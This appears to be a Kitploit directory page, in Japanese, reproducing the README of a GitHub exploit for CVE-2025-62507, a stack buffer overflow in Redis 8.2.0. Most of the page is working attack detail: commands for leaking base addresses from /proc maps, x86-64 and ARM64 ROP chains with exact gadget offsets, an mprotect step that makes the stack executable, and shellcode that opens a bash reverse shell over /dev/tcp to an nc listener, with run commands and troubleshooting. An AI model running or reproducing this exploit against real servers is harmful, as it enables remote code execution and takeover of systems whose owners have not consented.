Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
redis-cve-2025-62507 — Redis 8.2.0のスタックバッファオーバーフローであるCVE-2025-62507用のエクスプロイトスクリプト。x86-64およびARM64のROPチェーンエクスプロイトと、リバースシェル用のシェルコード生成を提供します。GDBデバッグサポートとDockerベースの脆弱な環境が含まれます。 | Kitploit
ツール/GitHubGitHub/gartonchan/redis-cve-2025-62507
コンテナセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングシェルコードデバッガ学習と教育ペイロード開発バイナリエクスプロイト
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

Redis 8.2.0のスタックバッファオーバーフローであるCVE-2025-62507用のエクスプロイトスクリプト。x86-64およびARM64のROPチェーンエクスプロイトと、リバースシェル用のシェルコード生成を提供します。GDBデバッグサポートとDockerベースの脆弱な環境が含まれます。

33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Exploit Scripts — CVE-2025-62507

ディレクトリ構造

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

脆弱性の概要

項目説明
CVECVE-2025-62507
脆弱性タイプスタックバッファオーバーフロー (Stack Buffer Overflow)
影響を受けるコンポーネントRedis 8.2.0 の xackdelCommand 関数
トリガー方法XACKDEL コマンドで 52 を超える streamID を送信
悪用手法ROP チェーン → mprotect でスタック実行権限を解放 → shellcode でリバースシェル
依存関係Python 3 (標準ライブラリのみ、追加インストール不要)

前提条件

  1. 対象環境: 脆弱性のあるバージョンである Redis 8.2.0 を実行している Docker コンテナまたはホスト
  2. リスニング端末: 攻撃機で事前に nc -lvnp 4444 を起動し、リバースシェルを待ち受ける
  3. アドレス取得権限: 対象プロセスの /proc/<PID>/maps を読み取れる必要がある(root 権限)
  4. Python 3: 両方の exploit スクリプトは標準ライブラリのみを使用(socket, struct, time, sys)

クイックスタート

1. 脆弱性のある Redis コンテナを起動

root@kitploit:~
# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d

# 确认容器运行
docker ps | grep redis-cve-2025-62507

2. 重要なメモリアドレスの取得

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

注意: コンテナを再起動するたびにアドレスは変化する(ASLR)。再取得が必要。

3. リバースシェルのリスナーを起動

root@kitploit:~
# 在宿主机另开一个终端
nc -lvnp 4444

4. exploit を実行

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — x86-64 ROP Exploit

使用方法

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

パラメータの説明

ROP チェーンの構成

root@kitploit:~
52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Gadget オフセット (redis-server-8.2.0)

リバースシェルアドレスのカスタマイズ

reverse_shell_cmd 変数はスクリプトの 149 行目で定義されており、デフォルト値は以下の通り:

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

変更方法: exploit_x86.py を編集し、reverse_shell_cmd の行を見つけて IP とポートを置き換える:

ポートの変更: /dev/tcp/<IP>/4444 の 4444 を実際のリスニングポートに置き換える。

stack_page は stack_addr パラメータから動的に計算される: (stack_addr + 0x1000) & ~0xFFF。mprotect のウィンドウが shellcode の存在するスタック領域を確実にカバーする。スタックレイアウトが異常な場合は併せて調整が必要。


exploit_arm64.py — ARM64 ROP Exploit

使用方法

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

パラメータの説明

ARM64 の注意: stack_addr は xackdelCommand エントリ時点の SP の値([stack] セグメントの開始アドレスではない!)。static_ids[0] = stack_addr - 0x310、call() の保存された x30 は stack_addr + 8 にある(すなわち static_ids[49].seq)。

ROP チェーンの構成

root@kitploit:~
49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

重要: call() のエピローグ (epilogue) は ret の前にスタックから x19-x28 を復元し、複数のローカル変数を読み込む。ID#49-58 には安全な値を必ず入れる必要がある。そうしないとエピローグ実行中にクラッシュする。ROP チェーンは ID#59(call() の ret 後の SP 位置)から始まる。

Gadget オフセット (redis-server-8.2.0-arm64)

Gadget オフセット (libc.so.6-arm64, Docker コンテナ内)

注意: LDR_X1_SIDELOAD には mov x0, x1 の副作用があり、実行後に x0 は x1 で上書きされる!後続では G5 または LDR_X0_CLEAN で x0 を再設定する必要がある。

リバースシェルアドレスのカスタマイズ

reverse_shell_cmd は build_exploit_arm64() 関数内で rev_shell_host と rev_shell_port パラメータに基づいて動的に構築される:

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

推奨方法: コマンドライン引数でリバースシェルアドレスを指定する:

root@kitploit:~
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

直接変更: exploit_arm64.py を編集し、exploit() 関数のデフォルト引数の値を変更する:


GDB デバッグ

gdb_with_symbols.sh の使用

root@kitploit:~
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID

スクリプトは自動的に以下を実行する:

  1. binaries/redis-server-8.2.0 のシンボルテーブルをロード
  2. xackdelCommand にブレークポイントを設定
  3. mprotect にブレークポイントを設定
  4. system にブレークポイントを設定

重要なブレークポイント位置

root@kitploit:~
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand

# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)

# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect

# system 调用前 — 验证 rdi 指向命令字符串
break system

exploit の主要ステップの検証

root@kitploit:~
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 观察 shellcode 执行
(gdb) x/20i $rsp                   # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30                   # ARM64: 跳转前的返回地址

トラブルシューティング


環境のクリーンアップ

root@kitploit:~
# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down

ファイルリファレンス

ツールをダウンロード
パラメータ意味取得方法サンプル値
redis_baseredis-server ELF のベースアドレス/proc/PID/maps の redis-server 最初のセグメント開始アドレス0x555555554000
libc_baselibc.so.6 のベースアドレス/proc/PID/maps の libc.so 最初のセグメント開始アドレス0x7ffff75b3000
stack_addrスレッドスタックセグメントの開始アドレス/proc/PID/maps の [stack] セグメント開始アドレス0x7ffffffde000
Gadgetオフセット説明
pop rdi; ret0x82327mprotect の第 1 引数 (addr) を設定
pop rsi; ret0x86416mprotect の第 2 引数 (len) を設定
pop rdx; ret0xba1e2mprotect の第 3 引数 (prot) を設定
call rsp0x9486dスタック上の shellcode へジャンプ
mprotect (libc)0x1019e0スタックページを RWX に変更
system (libc)0x4c490リバースシェルコマンドを実行
シナリオIP説明
Docker host ネットワーク (デフォルト)127.0.0.1コンテナはホストとネットワークスタックを共有するため、127.0.0.1 がホストになる
Docker bridge ネットワーク172.17.0.1デフォルトのブリッジゲートウェイ。ホストを指す
リモート攻撃<攻撃機のパブリックIP>ターゲットから攻撃機の該当ポートへのルーティングが必要
パラメータ意味取得方法サンプル値
redis_baseredis-server-8.2.0-arm64 ELF のベースアドレス/proc/PID/maps の redis-server 最初のセグメント開始アドレス0xaaaaaaaa0000
libc_baselibc.so.6-arm64 のベースアドレス/proc/PID/maps の libc.so 最初のセグメント開始アドレス0xfffff7630000
stack_addrxackdelCommand エントリ時点の SP の値 (GDB 分析による)GDB ブレークポイントで xackdelCommand エントリの SP を確認0xfffffffff7e0
rev_host(任意) リバースシェル接続先の攻撃機 IP—192.168.1.1
rev_port(任意) リバースシェルのリスニングポート—4444
target(任意) 対象の Redis IP—192.168.1.129
Gadgetオフセット機能スタック消費
G5 (ldp x19,x20 + ldr x0)0x1a4d40スタックから x19, x0 をロード0x30 (3 IDs)
G_SET_X2_70x1d7a84w2=7, w1=-1 を設定 (副作用)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), x0 を上書き0x170 (23 IDs)
BLR_X30x92bc4blr x3; mprotect を呼び出し0x30 (3 IDs)
Gadgetオフセット機能スタック消費
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18]; mov x0,x1 (副作用!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18]; 副作用なし0x20 (2 IDs)
mprotect0xe3ac0メモリ権限を変更-
system0x49c24シェルコマンドを実行-
シナリオIP説明
Docker host ネットワーク127.0.0.1コンテナはホストとネットワークスタックを共有するため、127.0.0.1 がホストになる
Docker bridge ネットワーク172.17.0.1デフォルトのブリッジゲートウェイ。ホストを指す
QEMU 仮想マシン192.168.1.1QEMU ネットワーク内でのホストのアドレス
リモート攻撃<攻撃機のパブリックIP>ターゲットから攻撃機の該当ポートへのルーティングが必要
現象考えられる原因解決方法
ConnectionRefusedErrorRedis が起動していないか、ポートが間違っているdocker ps でコンテナの状態を確認し、ポート 6379 をチェックする
Redis がクラッシュせず PONG を返すパディング数が不足しており、戻りアドレスが上書きされていない正しい数のパディング ID(x86: 52, ARM64: 49)を使用しているか確認し、バイナリのバージョンが一致しているか検証する
Redis はクラッシュするが nc に接続がないアドレス計算の誤り/proc/PID/maps を再取得し、gadget オフセットが対応するバイナリと一致しているか検証する
streamParseStrictIDOrReply のパース失敗streamID の形式が誤っているms-seq 形式(符号なし整数)を使用していることを確認し、負数による二重 -- を避ける
mprotect が非 0 を返すスタックアドレスがページアライメントされていないか、範囲が無効stack_page が 0x1000 でアライメントされているか確認する
ARM64: str w2, [x0] でクラッシュG_SET_X2_7 の x0 が書き込み可能なメモリを指していないwritable_addr がマップ済みのスタック領域を指していることを確認する
nc が繰り返し切断されるshellcode 内の IP:Port が正しくないスクリプト内の reverse_shell_cmd を修正し、IP を攻撃機から到達可能なアドレスに変更する
ファイル説明
scripts/exploit_x86.pyx86-64 最終 RCE exploit
scripts/exploit_arm64.pyARM64 (AArch64) RCE exploit
scripts/gdb_with_symbols.shGDB のシンボルロードとブレークポイント補助スクリプト
docker-compose-vulnerable.yml脆弱性のある Redis 8.2.0 コンテナオーケストレーション
binaries/redis-server-8.2.0x86-64 Redis ELF(シンボルテーブル付き)
binaries/redis-server-8.2.0-arm64ARM64 Redis ELF(シンボルテーブル付き)
binaries/libc.so.6x86-64 libc
binaries/libc.so.6-arm64ARM64 libc
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdx86-64 エクスプロイトの完全な技術詳細
docs/ARM64_GADGET_CATALOG.mdARM64 ROP gadget の完全なカタログ